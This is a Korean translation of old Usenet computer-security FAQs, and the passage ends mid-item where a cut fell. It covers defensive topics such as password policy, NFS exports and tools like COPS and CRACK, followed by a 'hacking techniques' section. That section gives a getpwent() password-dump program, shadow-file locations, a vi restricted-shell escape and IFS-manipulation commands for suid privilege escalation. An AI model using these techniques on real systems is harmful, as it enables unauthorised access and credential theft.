|
|
|
* 보안에 대한 주요 FAQ
1.alt.security 와 comp.security.misc는 어떤곳인가?
comp.security.misc는 유닉스와 관련된 컴퓨터 보안을 토론하는 포럼이다.
alt.security도 마찬가지로 같은 주제를 다루지만,자동차의 잠금장치나 경보장치
까지도 다루고있다.
2.해커 와 크래커 의 차이는 무엇인가?
USENET에 의하면,크래커(cracker)는 여러가지 이유로 다른 사람의 시스템에 침
투하려는 사람들을 지칭한다. 그들은 단지 '가능하니까'라는 핑계를 대며 자신들
의 행위를 정당화시키지만,대부분은 불법적인 일을 저지름으로써 명성을 얻으려
고 할뿐이다.
특히 반사회적인 크래커는 문화예술을 파괴하려는 경향을 가지고있어서, 파일시
스템을 삭제하고,시스템을 파괴하고,그들의 흔적을 추적하는 프로그램을 마비시
킨다.pc 의 복제장치를 제거해서 불법복사본을 배포하는 사람을 가리키는 경우
에도 크래커라는 말이 널리 쓰인다.
USENET에 의하면, HACKER는 컴퓨터에 관한 상당한 양의 지식과 전문적인
기술을 갖고 있으며,교묘하게 이러한 기술을 이용할 수 있는 사람들을 말한다.
실제로, 사람들은 해커라는 말을 크래커와 거의 같은 의미로쓰고있다.
usenet에서도 이러한 경우는 심심치않게 나타나서 사람들을 혼란시키고 있다. 보
안을 다루는 게시판에 크래커를 해커로 잘못 사용한 게시물을 올린다면 많은 비
난을 면치 못할 것이다.
3.'security through abscurity'란 무엇인가?
STO(불투명함에 의한 보안)는 사용자그룹의 외부에 있는 어느 누구라도 내부
메카니즘에 대하여 아무것도 발견할 수 없는 한, 시스템이 안전하다는 믿음을
말한다. "누구라도 영원히 발견하지 못할 것이다"라는 가정을 가지고,password를
이진파일에 숨기는 것은 STO의 대표적 예이다.
STO는 많은 관료주의자들(군인,공무원....)이 좋아하는 철학이며, 시스템에
'pseudosecurity'를 제공하는 중요한 한 방법이다. 개방화된 시스템, 네트워킹, 프
로그램 기술에 대한 이해의 증가, 그리고 일반인이 사용할 수 있는 강력한 컴퓨
터의 등장으로 인하여 STO의 유용함은 점점 약해졌다.
STO의 기본은 '알 필요'에 의해서 시스템을 사용하는 것이다. 어떤 사람이 시스
템 보안에 영향을 미치는 방법을 모른다면 그것은 위험하지 않다.
모두가 인정하듯이, STO는 믿을 만한 이론을 가지고 있지만, 어쩔 수 없는 예외
의 경우도 있다. 그것은 바로 시스템의 운영자들로, 만일 유능한 직원이 더 나은
보수를 받고 다른 직장으로 간다면, 그가 알고 있는 지식도 함께 가버린다. 일단
그런 비밀이 노출되면 시스템의 보안도 더 이상 안전하지 않다.
최근에는 평범한 사용자들도 시스템이 돌아가는 방법에 대하여 자세하게 알 필
요가 있으므로 그 결과 STO의 효과는 많이 약해졌다. 오늘날 많은 사용자들이
전에는 알 필요가 없었던 시스템에 대해 상당히 많은 지식을 가지게 되었기 대
문에, 보안에 상당히 많은 문제가 생기기 시작했다.
따라서 지금 필요한 것은 철학적으로 안전하기 보다는 실제적으로 안전한 시스
템(Kerberos,Secure RPC)을 만드는 것이다.
'Shadow Passwords'는 종종 STO와 같이 무시당하지만, 이것은 옳지 않다.
왜냐하면 STO는 알고리즘이나 테크닉에 대한 접근을 제한하지만 쉐도우패스워
드는 실질적인 자료에 대한 접근을 제한하기 때문이다.
4.시스템의 보안을 저해하는 요소는 무엇인가?
진정으로 안전한 시스템은 파워를 끄고 코드를 뺀 후에 티타늄 선으로 묶어서
콘크리트로 밀봉을 하고 독가스를 채워서 최신의 무기를 가진 경비원으로 보호
를 하는 것이다. 그러나 그렇다고 하더라도 누구도 거기에 자신의 생명을 걸만
큼 안전하다고 자신하지는 못한다.
시스템의 보안 여부는 그것을 사용하는 사람들에게 달려있다. 시스템을 사용하
는 모든 사람들이 자기들의 시스템을 아무 문제 없이 이용하기 위해서 나름대로
책임감을 갖고 임한다면 특별한 보호장치 없이도 안전하게 유지될것이다. 많은
실험실에 있는 PC들은 이런 방식으로 아주 잘 운용되고 있다.
문제는 보안 유지에 대한 필요성을 느끼면서 시작된다. 일단 시스템에 보안 장
치를 설치하고 나면,그것은 결코 끝나지 않는 전쟁이 될 것이다.
보안상의 허점은 다음과 같이 4가지의 종류로 나눌 수 있다.
(1) 물리적 허점
불법 사용자가 시스템에 물리적으로 접근함으로써 문제가 생기는데,그가 해서는
안되는 작업을 할 수도 있기 때문이다.
이러한 좋은 예는 공동으로 사용하는 워크스테이션실에서 일어날 수 있는데, 그
런곳에서는 사용자가 손쉽게 시스템을 단일사용자모드로 바꾸고,파일 시스템을
뒤섞어 버릴 수 있다. 따라서 사전에 충분한 주의가 필요할 것이다.
또 다른 예로서,누구나 쉽게 읽을 수 있는 백업장치의 경우 기밀 유지를 위해
접근을 제한할 필요가 있다.
(2)소프트웨어 상의 허점
특별한 권한을 가지는 프로그램들(daemons,cronjobs)의 경우,이들이 원래의 목적
과 다르게 이용될 가능성이 있다.
가장 유명한 예가 sendmail debug에 있던 허점인데, 크래커가 이것을 이용하여
root로 빠져나가는 좋은 수단이 되었다. 이것은 파일 시스템을 삭제하고,새로운
계정을 만들고, 패스워드 화일을 복제하는 등의 작업에 사용되었다.(일반적인 생
각과는 다르게,sendmail을 통한 침투는 악명높은 INTERNET WORM만 할 수
있었던 것은 아니었다. 크래커라면 누구든지 telnet을 이용하여 상대 시스템의
port25을 통해서 침투할 수 있었다)
이런 새로운 허점은 항상 발견될 수 있으므로 늘 다음과 같이 대비해야 한다.
* root/daemons/bin에는 가급적 최소한의 프로그램을 설치하도록 한다. 이곳에
있는 프로그램들은 특별한 권한을 가지고 있어서 위험하게 쓰일 수 있기 때
문이다.
* 문제의 해결책을 제공받을 수 있는 곳들에 대해 mailing list를 만들어 문제
가 발생할 경우 즉각적으로 연락을 취해 그 문제에 대한 정보를 받을 수 있
도록 해야한다.
(3)호환성의 문제
누구의 잘못은 아니지만,시스템 운영자가 경험이 부족해서 보안의 측면에서 문
제가 있는 하드웨어 와 소프트웨어를 시스템에 설치한 경우이다. 이와같은 문제
는 시스템이 일단 가동되고 나면 발견하기가 힘들다. 따라서 신중하게 고려하여
시스템을 구성해야 한다.
(4) 적당한 보안정책의 작성과 유자
네번째 보안 문제는 인식과 이해에 관한 것이다. 완벽한 프로그램,보호장치가
된 하드웨어, 그리고 호환적인 부품일지라도, 적잘한 보안 정책을 가지고 운영되
지 않는다면 제 역할을 하지 못할 것이다. 만약 사용자들이 자신의 사용자명을
거꾸로 해서 패스워드를 정해버리는 식으로 보안 개념이 희박하다면 아무리 좋
은 패스워드 방식일지라도 아무런 가치가 없다. 보안이라는 것은 그러한 정책에
맞추어서 시스템을 얼마나 잘 운영하는가에 달려있다.
5.보안을 도와주는 도구에는 어떤 것들이 있는가?
(1)'COPS'
Dan Farmer에 의해 개발된 이 프로그램은 보안 상태를 검사해주는 기능을 하는
shell script이다. 기초적인 password cracker,setuid 프로그램에서 의심스런 변화
를 알아보기 위해 파일시스템을 검사하는 기능,기본 시스템과 사용자 파일의
permission을 검사하는 기능,문제를 일으킬만한 행동을 하는 시스템 프로그램을
검사하는 등의 기능을 가지고있다.
(2)'CRACK'(+'UFC')
Alec Muffett에 의해 개발된 이 프로그램은,외부인에 쉽게 노출될 가능성이있는
패스워드를 찾아내는 기능을 가지고있다. 아마도 이것은 패스워드 크래커로서
대중에 배포되는 유일한 프로그램으로서,사용자가 자신이 원하는 패스워드를 정
확하게 설정할 수 있도록 도와준다.
이것은 네트워크상에서 가급적 많은 시스템에서 사용 가능하도록 네트워크 기능
이 내장되어 있으며,Unix crypt() 알고리즘의 최적화된 버전으로 제공된다.
crypt()알고리즘 의 훨씬 더 빠른 버전인 'UFC'는 Michael Glad에 의해 개발되
었으며 네트워크상에서 무료로 배포된다. UFC와 CRACK 의 최신버전은 서로
호환이 되므로 함께 사용이 가능하다.
(3)NPasswd(Clyde Hoover) & Passwd+(Matt Bishop)
이 프로그램은 패스워드 크래킹 전쟁에서 균형을 되찾기 위하여 작성되었다.
이들은 표준 'passwd'명령어를 교체하여 사용자가 CRACK같은 프로그램에 의
해 쉽게 노출될 수 있는 패스워드를 정하지 못하도록 하는 기능을 가지고있다.
System V,NIS/yp,shadow password schemes 등의 다양한 시스템에서 쓰일 수
있는 여러가지 버전이 나와 있다. 일반적으로 파시스트 패스워드 프로그램으로
불리운다.
(4)"SHADOW"-Shadow Password suite
John F Haugh II 가 개발한 이 프로그램은 쉐도우패스워드 를 이용할 수 있도
록 해주는 프로그램이다. 즉 root 이외에는 어느 누구도 패스워드 파일을 볼수가
없으며, 패스워드 크래킹으로부터 안전하게 시스템을 보호해준다. 파시스트 패스
워드와 함께 쓰인다면 상당히 좋은 보안 방식이 될 것이다.
(5)TCP Wrappers(Wietse Venema)
유닉스가 기본적으로 제공하는 많은 네트워크 서비스에 front-ent filter를 제공
하는 프로그램이다. 설치되고 나면,FTP/TFTP,telnet등을 이용하여 불법적으로
이루어지는 접속을 막을 수 있다. 누군가 시스템에 침투하려고 하는 경우에 유
용하게 쓰일 수 있다.
(6)SecureLib
Securelib은 kernel에 들어있는 세가지 함수들에 대한 대체 함수를 가지고있다.
(accept(),recvfrom(),recvmsg())이것들은 기존의 함수들과 호환성을 가지고 있으
며,시스템의 인터넷 어드레스를 검사하여 접속이 가능한 시스템을 확인하는 기
능을 가지고있다. 접속이 가능한 host는 configuration file에 기록된다.
(7)SPI
SPI는 file integrity를 포함하여 configuration option을 검사하는 프로그램이다.
차후에는 COPS에 포함될 예정이다.이것은 일반인은 사용할 수 없고, 미국 정부
만이 사용할 수 있다.
6.cracking tools을 일반인에게 공개하는 것이 위험하지 않은가?
개인의 견해에 따라 다르다. 일부사람들은 COPS와 CRACK을 공개한 것이 무책
임한 일이라고 주장한다. 부당하게 이용될 수 있기 때문이다.
그러나 역으로 생각하면, 이 프로그램이 갖는 긍정적인 면도 무시할 수 없다.
일반인들이 이 프로그램들을 이용해서 자신의 시스템을 검사하는데 많은 도움이
되기 때문이다. 따라서 공개로 인한 효과가 긍정적인지,부정적인지는 확실치 않
다.
7.이러한 프로그램은 어디서 구할 수 있는가?
(1) COPS
v 1.04,cert.sei.cmu.edu(pub/cops)와 archive.cis.ohio-state.edu(pub/cops)에서 ftp
를 이용하면 가능하다.
(2) CRACK/UFC
Crack v4.1f, UFC oatchlevel 1. comp.sources.misc의 volume 28에서 주요한
USENET archive 를 통해 쉽게 구할수 있다.
(3) NPasswd
현재 많은 해킹버전이 존재한다. 버전 2.0이 준비중이며, 여러장소에서 여러버전
을 구할 수 있다.
(4)Passwd+
'alpha version,update 3' - beta version이 곧 나올 예정이다.
dartmouth.edu의 pub/passwd+.tae.Z 파일로 구할 수 있다.
(5)SHADOW
Usenet archive에 있는 comp.source.misc 디렉토리에서 구할 수 있다.
(6) TCP wrappers
anomymous FTP를 이용하면 가능하다.
cert.sei.cmu.edu:pub/network_tools/tcp_wrapper.shar
ftp.win.tue.nl:pub/security/log_tcp.shar.Z
(7)Securelib
eecs.nwu.edu 에서 anonymous FTP를 이용하면 구할 수있다.
pub/securelib.tar로 저장되어 있다.
8.시스템이 침입을 당하는 이유는 무엇이고 어떻게 침입을 당하는가?
이것은 단정적으로 대답하기 힘든 문제이다. 크래커가 많은 시스템에 침투함으
로써 얻는 것은 침투했다는 기록뿐이다. 크래커는 새로운 시스템으로 침투하기
전에 여러 단계를 거치는 방식으로 자신의 흔적을 없앰으로써 추적을 어렵게 만
든다. 가능한 많은 시스템을 침투하여 얻는 장점은 접속 세탁이 훨씬 용이해진
다는 사실이다.
또다른 이유는 심리학적인 것으로,컴퓨터를 다루는 것을 좋아하는 일부 사람들
은 많은 시스템을 침투함으로써 자신의 실력을 확인하고 싶어하는 것이다. 그들
은 NASA,AT&T,UCB 와 같은 거대 조직에 침투하기 위하여,6개의 인터넷 기
계,2개의 gateways 그리고 X.25 network를 거쳐서 이동하는 것을 '아주 매끄럽
다'고 생각한다. 그것을 인터넷 관광이라고 생각하는 것 같다.
이러한 생각은 크래커에게는 충분히 매력적인 것으로 받아들여지고 있으며, 크
래킹에 한번 물들면 좀처럼 빠져나오기 힘들게 되는 것이다.
'어떻게'에 관한 대답은 피상적인 영역이다. 대학에서는 대학원생들 사이에 자기
ID를 빌려주는 것이 굉장히 보편적이다. 가령 다음의 예를 보자.
'A가 다른 site에 있는 남자친구 B에게 자신의 ID를 빌려주었는데,B에게는 네트
워크를 이리저리 기웃거리기를 좋아하는 C라는 친구가 있었다. C는 A의 site에
서 크래킹이 가능한 여러 ID를 찾아내고,그것들을 주위의 친구들에게 알려 주었
다. 얼마 지나지 않아, A가 사용하는 시스템에는 C를 비롯한 수많은 해커들이
술마시며 노래하면서 놀고 있었다.'
이런 종류의 일은 대학뿐 아니라 어디서나 쉽게 벌어지는 일이다.
이것을 해결하는 방법은 교육을 하는 것이다. 사용자들이 다음과 같은 태도를
가지지 못하도록 해야 한다.
'나는 내가 사용하는 계정에서 어떤 패스워드를 사용하든지 신경쓰지 않는다.
결국 나는 레이저를 이용하여 프린트를 하기 위해 네트워크를 이용할 뿐이다'
컴퓨터의 사용이 자신이 속한 그룹에게 얼마나 중요한 책임이 있는가를 가르쳐
야 한다.
9.침투를 당하면 어떻게 해야 하는가?
인터넷에 물려있다면, CERT에 연락하라.
CERT는 1988년에 defense advanced research projects agency(DARPA)에 의해
구성되었으며, 인터넷 사용자들이 겪는 보안 문제에 관해 돕는것을 목적으로 한
다.
CERT의 본부는 software engineering,carnegie mellon univ.,pittsburgh,PA에 위
치해 있다.
10.'firewall'(방화벽)이 무엇인가?
인터넷 firewall은 당신의 사이트와 인터넷 중간에 있는 machine으로,네트워크의
소통상황을 조절하며 인터넷 port에 대한 접속을 제한한다. 비슷한 시스템이 다
른 네트워크 타입에도 가능하다.
11.왜 setuid shell scripts를 사용할 수 없는가?
여러기지 이유로 사용해서는 안되는데, 대개는 유닉스 커널에 있는 버그와 관련
되어 있다. 여기에 몇가지 잘 알려진 문제가 나오는데, 이들은 최근에 와서야 수
정되었다.
(1)script가 "#!/bin/sh"로 시작하고, link(symbolic이든 다른것이든)rk "-i"와 함게
만들어질 수 있다면,script를 실행할 수 있으므로 setuid shell로 바로 들어갈 수
있다. "#!/bin/sh -i",즉 interactive shell이다.
(2)명령어 처리가 시작되는 시점과 그리고 새롭게 setuid를 설정하는 exec()ed가
진행되는 시점 사이에서 어느 셀스크립트를 당신이 선택,실행가능한 것으로 바
꾸어주는가 하는 상황이 많은 커널들에게 피해를 입힌다. 계속해서 집중적으로
파고든다면 이론상으로는,누구든지 실행시키기를 원하는 프로그램의 커널을 얻
을 수 있다
(3)IFS의 버그 : IFS변수는 명령어들을 처리할 때 셀에 의해서 공백으로 처리되
는 문자들의 표를 가지고있다. '/'문자를 가지는 IFS변수를 바꾸어 'bin/true'를
'bin true'로 바꿀 수 있다.
만일 원하는 것이 변경된 IFS변수를 빼내는 것이라면 'bin'명령을 당신의 경로에
설치하고 'bin/true'라는 setuid 스크립트를 실행하면 된다.
정말로 스크립트를 이용하여 setuid를 설정하려면 다음의 두가지 방법이 있다.
a)스크립트가 실행되기 전에 IFS와 PATH를 리셋시키지 않도록 주의하며 스크
립트 주변의 'C'에 setuid를 집어넣는다. 만일 시스템이 라이브러리와 링크시키
기 시작한다면 LD_LIBRARY_PATH의 설정값을 생각해 보는것이 좋다.
b)안전한 setuid의 설정의 용이성을 가지고 있으며 보안에 매우 강한 perl같은
스크립트 언어를 사용하라.
그러나 진짜로 안전한 것은 아예 setuid 스크립트를 사용하지 않는것이다.
12.console로 접속한 'root'를 영원히 빠져나올수 없는가?
console로 'smart' 터미날을 사용하고,'root'로 접속한 상태에서 '/dev/console'을
쓰기 가능하게 만드는 것은 잠재적인 결점을 가지고있다. 터미널은 escape
sequence를 통해서 원격제어하는 것에 다소 취약점을 가지고 있고,root shell로
무엇인가를 입력하는 것이 가능하다. 터미널 유형은 'ps'명령을 이용하면 알 수
있다.
이것에 대한 다양한 해결책을 모색해 볼 수 있는데,일반적으로는 console 소유자
와 group-write에게만 엑세스 권한을 주고,그런 다음 console에 출력을 보낼 필
요가 있는 프로그램에서 setgid 메카니즘을 이용하는 것이다.
13.null password를 가지는 unix 계정을 만들수 없는가?
임의로 사용하기 위하여 패스워드가 없는 계정을 만드는것은 상당히 위험하다.
특별한 이유가 있어서라기보다는 크래커가 이용할 수 있는 거점을 제공할 수있
기 때문이다.
예를들어,누군가가 패스워드가 없는 계정인 'sync'를 찾아내고 login 과정없이 디
스크를 사용하게 되었다고 가정하자. 이것은 안전하고 위험해 보이지 않을 수도
있다.
그러나 당신의 시스템이 FTP에 접속하기 전에 사용자를 검사하지 않는 시스템
중의 하나라면 문제가 발생할 수 있다. 크래커는 다양한 FTP방법을 이용하여
접속을 하고, 패스워드가 없는 계정 'sync'를 이용해서, 패스워드 파일을 복사해
가 수 있다.
유닉스의 최신버전은 이런 종류의 사건을 미리 방지하는 기능을 갖고 있지만,완
전하게 안전한 시스템을 위해서는 시스템의 모든 프로그램과 사용자확인법 등에
관해서 깊이 있는 지식을 가지고있어야 한다.
null-password가 갖고있는 또 다른 문제점은,자신의 라이브러리에 있는
LD_LIBRARY_PATH 변수를 바꿔서 'login -p'또는 'su'를 실행시킴으로써 자신
의 프로그램을 'sync'가 사용한 것처럼 시스템 프로그램을 속일 가능성이 있다
는 것이다.
14.x-windows와 관련된 보안상의 허점은 어떤것이 있는가?
일부는 X에만, 어떤 것들은 시스템 전체의 보안에 영향을 미치기도 한다.
여기서는 자세히 다루지 않겠으니 다른 참고서적을 보기바란다.
한가지 지적하고 싶은 것은 X는 'incompatible usage'보안에 문제를 가지고 있
는 프로그램이라는 것이다. 예를들어 크래커는 패스워드가 없는 계정을 이용하
여 호스트에 있는 xsession을 실행할 가능성이 있다.
15.NFS에는 어떤 허점이 있는가?
NFS의 보안은 서버가 만들어내는 파일을 설치하는 사람에게 크게 의존한다.
호스트가 만들어낸 디렉토리를 설치하기 위하여 정확한 포맷을 정하는 것은 유
닉스의 종류에 따라 다양하지만, 일반적으로는 그 정보는 화일 '/etc/exports'에
저장된다. 이 화일은 많은 디렉토리를 가지고 있으며,각각은 NFS가 그 디렉토리
로 mount할 수 있는 특정한 호스트 또는 넷그룹의 목록을 가지고 있다. 이목록
은 'access list'라고 불린다.
'hosts'는 개별적인 시스템이지만,'netgroups'는 '/etc/netgroup'에 명시되어 있는
hosts 와 username의 조합이다. 이것들은 finetuning access의 한 방법을 제공할
목적으로 만들어진 것이다.
이러한 화일들은 읽기 전용,읽기-쓰기 가능,그리고 슈퍼유저가 접근할 수 있는가
에 대한 정보들을 포함하고 있다. 중요하게 기억해야 할 점은 /etc/exports에 있
는 특정한 디렉토리를 acess list 가 포함하고 있는가에 대한 여부이다.
(1)<nothing>
디렉토리는 어디에 있는 누구든지 mount할 수 있다.
(2)<a specific hostname>
디렉토리는 허가된 사람만이 mount할 수 있다. 이것은 신뢰할 만한 사람을 의미
하는 것은 아니다. 예를들어 NFS가 PC에서 돌아가는 상황이라면 어느 누구든지
mount 할 수 있다.
(3)<a netgroup name>
netgroup이,
a)빈칸이라면 어디에 있는 누구든지 마운트할수 있다.
b)'(,,)'을 포함하고 있다면,어디에 있는 누구나 마운트할수 있다.
c)빈칸이거나 '(,,)'으로 기록된 netgroup을 가지고 있다면,어디에 있는 누구나
마운트 할수있다.
d)'(hostname,,)'라고 적혀있으면, 이 호스트의 사용자만이 마운트할수있다.
e)(,username,)'라고 적혀있으면, 이 사용자는 어디서든지 마운트할수있다.
(4)<hostname 이나 netgroup이 아닌 단어일 경우>
만약 host name인 'athena'를 'ahtena'로 잘못 입력했을 경우, 이것은 netgroup
name으로 받아들여진다. 이와 같은 netgroup은 존재하지 않으므로 빈칸으로 인
식된다. 따라서 어디에 있는 누구든지 마운트할수있다.
따라서 /etc/exports 와 /etc/netgroup 에 집어넣을 내용에 대해서 충분히 주의를
기울이지 않는다면,pc를 가지고있는 사용자들은 다음과 같은 행동을 할 수 있다.
a)server의 화일시스템을 자신의 디스크에 복사할 수 있다.
b)/etc/passwd,.rhosts,/etc/hosts.equiv를 편집할 수 있다.
c)또 다른 사용자,아마도 'root'로 접속할 가능성이 있다.
위의 정보는 NFS에 따라 달라질 수 있지만,보통 NFS에서는 모두 적용이 되었
다.'EMPTY' netgroup을 만드는 가장 좋은 방법은 다음과 같다.
ngname(-,-.,-)
이것은 no-one,no-host,no-NIS-domain을 의미한다.
16.안전한 패스워드를 만드는 방법은 무엇인가?
방법은없다. '만든다'라는 말이 중요한 의미를 가진다. 일단 패스워드를 만들어내
는 알고리즘이 시스템에서 구성되면, 이 패스워드를 알아내기 위해서는 이 알고
리즘만 분석해내면 된다. 알고리즘을 복잡하게 만들지 않는다면 쉽게 분석이 될
것이다.
a)크래커는 모든 사용자의 패스워드에 대해 password generator가 만들어 낼 수
있는 모든 경우를 대입해본다.
b)패스워드 알고리즘을 분석해서 다른 사용자의 패스워드에 적용시켜본다.
패스워드를 제대로 만들려면 다음과 같이 해서는 안된다.
자신의 이름이나 이름+머릿글자의 일부만 바꾼다,사전에 있는 단어를 사용한다,
머릿글자,생활과 관련되어 쉽게 추측이 가능한단어......
17.PASSWORD는 그렇게 중요한가?
최전선에서 침투를 막아내는 역할을 하므로 매우 중요하다. 크래커가 시스템에
접근할 수 없다면,패스워드 파일을 쓰거나 읽을 수 없으며 그 외의 다른 방법도
존재할 수 없다.
그가 최소한 패스워드 파일을 읽을 수 없다면 그 안에 있는 어떤 패스워드도 알
아낼 수 없다. 그러나 그가 패스워드 화일을 읽을 수가 있다면,시스템의 허점을
이용해서 root의 패스워드 마져 알아낼 가능성이 있다.
18.PASSWORD의 조합이 가능한 개수는 얼마나 되는가?
대부분의 사람들은 CRACK같은 프로그램들이, 패스워드에 쓰인느 가능한 모든
문자를 이용하여 검색을 할 수 있을 만큼 발전할 것이라고 걱정하고 있다.
간단하게 다음처럼 가정을 해서 계산을해보자
(1)62개의 문자를 이용해서 패스워드를 만든다.(A-Za-z0-9)
(2)5개부터 8개의 문자로 패스워드를 만든다.
그렇다면 가능한 패스워드의 크기는 다음과 같다(62개의 문자를 이용)
100000 +
1000000 +
10000000 +
100000000 =
------------
111100000
현재의 기술을 이용하면 위의 문자열을 검색하는 것은 그리 어렵지 않다.
그러나 패스워드에는 이 외에도 다양한 문자들이 사용된다는 것을 잊지 말아라.
<space>,모든 구두점, 기호(~<>|\$%^&*). 만약 95개의 비제어 문자를 패스워드
에 사용할 수 있다면, 크래커가 이 모두를 검색하는 것은 쉽지않다.
그러나 아직도 크래커가 시스템에 침투할 가능성은 여전히 존재한다.
너무 걱정할 것은 없다. 강력한 패스워드 화일을 만들어서 시스템을 보호한다면
크래커도 쉽게 침투하지 못할 것이기 때문이다.
19.아직도 인터넷 WORM이 침입가능한 시스템이 있는가?
대부분의 경우 유닉스 프로그램의 버그가 수정되어 지금은 worm이 침입할 수
있는 시스템이 많지 않다.
그러나 아직도 분명히 침입 가능한 시스템이 존재한다.
* 해킹테크닉에 대한 주요 FAQ 모음 *
1.어떻게 유닉스 패스워드 화일에 접근할 수 있는가?
표준 유닉스에서는 password file 이 /etc/passwd이다.
NIS/yp 또는 password shadowing을 이용하는 유닉스 시스템에서는 패스워드화일이 다를 수 있
다.
2.어떻게 유닉스 패스워드를 깨뜨리나?
일반적으로 유닉스 패스워드는 특수한 함수로 암호화가되어 있어 해독이 상당히 어렵다. login 프
로그램은 password:에서 입력한 문자들을 암호화하며,이렇게 암호화된 문자열은 유닉스에 저장되
어 있는 기존의 암호화된 문자열과 비교가 된다. 이렇게 암호화된 문자열이 무엇인가를 알아내기
위해서 단어표를 이용하는 방법이 있다. 단어 표에 있는 각각의 단어는 암호화되고 해석하고자
하는 패스워드의 암호화 형태와 비교된다.
유닉스 패스워드를 알아내는 가장 좋은 프로그램은 현재 alec muffet이 만든 CRACK이
며,PC-DOS에서는 현재 CRACKERJACK이 많이 쓰이고있다.
3.패스워드 쉐도윙(암호 숨기기)는 무엇인가?
Password shadowing 은 보안 체계를 지칭하는 것으로,패스워드 쉐도윙을 이용하면,
/etc/passwd에 들어 있는 각각의 패스워드는 특별한 기호로 바뀌어지며,바뀌어진 패스워드는 일
반 사용자가 읽을 수 없는 파일로 분리되어 저장된다. 일반적인 시스템에서 패스워드쉐도윙에 있
는 패스워드 화일을 알아내기 위해서는 getpwent() 를 계속해서 호출하는 아래의 프로그램을 이
용한다.
예:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
4.쉐도윙으로 만들어진 패스워드 화일은 어디에 위치하는가?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
5.NIS/yp는 무엇인가?
전에는 yp (Yellow Pages)라고 알려졌던 NIS (Network Information System) 의 주 목적은 패스
워드자료와 같이 네트워크를 구성하는 여러 CONFIGURATION DATE를 다양한 시스템이 공유할 수 있
도록 하기 위해 만들어졌다. 그러나 단지 시스템의 보안을 증가시킬 목적으로 만들어진 것만은
아니다. NIS를 이용하면 /etc/passwd 파일은 다음처럼 아주 간단해진다. 이 파일의 내용을 보려
면 ypcat passwd라는 명령어를 이용한다.
+::0:0:::
6.'ypcat passwd'에서 콤마뒤에 나오는 기묘한 문자는 무엇인가?
그 문자는 password aging data라고 불리며,시스템 관리자가 정한 기간이 지나면 사용자가 패스
워드를 변경하게 하는 역할을 한다.
]
] 다음은 'password aging data'가 들어있는 /etc/passwd 파일의 예이다.
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
암호화가 된 패스워드에서 콤마뒤에 나오는 문자는 password aging mechanism을 따른다.
]
] 위 예에서 Password aging characters는 다음과 같다.
]
] M.z8
]
4개의 문자는 다음과 같이 해석된다.
1 패스워드가 변경되지 않고 사용될 수 있는 최대기간(주 단위)
2 패스워드가 변경되기 전에 사용해야만 하는 최소 기간(주 단위)
3,4 세가지 특별한 경우가 존재한다.
첫번째와 구번째 문자가 '..'인 경우,사용자는 다음번 login에서 패스워드를 변경해야 한다. 그러면
패스워드 프로그램은 password aging characters를 제거하므로 차후에는 패스워드를 꼭 변경할
필요는 없다. 세번째와 네번째 문자가 '..'인 경우도 마찬가지로 사용자는 패스워드를 변경해야 한
다. password aging은 첫번째와 두번째 문자에 정의된 대로 이루어진다. 첫번째 문자(MAX)가 두
번째 문자(MIN)보다 값이 작을 경우는 사용자는 그의 패스워드를 변경할 수 없으며,root만이 바
꿀 수 있다.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
7.VMS에서 패스워드 화일에 어떻게 접근할 수 있는가?
VMS에서 패스워드 파일은 SYS$SYSTEM:SYSUAF.DAT 이며,유닉스와 달리 일반 사용자는 이 파일을
읽을 수 없다.
8.VMS 패스워드를 어떻게 깰 수 있는가?
SYS$GETUAF 함수를 이용하여,암호화된 단어와 SYSUAF.DAT 에 있는 암호화된 자료를 비교하는 프
로그램을 작성하면 가능하다. 그러한 목적으로 만들어진 프로그램중에서 CHECK_PASSWORD 와
GUESS_PASSWORD 가 알려져있다.
9.사용이 제한된 shell을 어떻게 빠져 나올 수 있는가?
shell 기능을 주축으로 하는 프로그램을 실행시키면,사용자의 영역이 제한된 shell로부터 빠져
나올 수 있다. 대표적인 예가 vi이며,vi를 실행시킨 후 다음 명령어를 사용하라.계속하여 다음
명령어를 입력하면 shell로부터 빠려 나올 수 있다.
:set shell=/bin/sh
:shell
10.suid script나 프로그램으로부터 root로 이동할 수 있는가?
1. IFS를 변경하라.
프로그램이 system() 함수를 이용하여 다른 프로그램을 호출하면,프로그램을 속여서 IFS를 변경
할 수 있다. IFS는 인자를 구분하기위해 사용된다. 프로그램이 다음과 같은 함수를 사용한다고
가정하자.
system("/bin/date")
IFS를 '/' 로 변경하면 shell은 '/'을 단지 bin 과 date을 구분하기 위하여 사용하므로(디렉토리
를 구분하기 위한 역할은 사라진다) /bin/date 을 'bin date'로 해석하게 된다.
누군가가 'bin'이라는 경로에 자신의 프로그램을 가지고 있다면, suid 프로그램은 /bin/date 대
신에 자신의 프로그램을 실행하게 된다.
IFS를 변경하기 위하여 다음의 명령어를 사용하라.
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. script 를 -i에 연결하라.
